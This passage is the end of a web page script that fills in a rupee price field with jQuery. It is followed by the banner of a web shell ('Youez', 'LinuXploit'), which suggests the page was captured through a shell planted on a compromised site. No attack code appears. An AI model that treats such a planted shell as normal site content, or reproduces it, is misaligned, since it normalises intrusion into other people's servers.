           $("#t_price_div").html("₹"+obj.t_price);
           $("#t_price_input").val(obj.t_price);
        }
     });
    }
 });
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit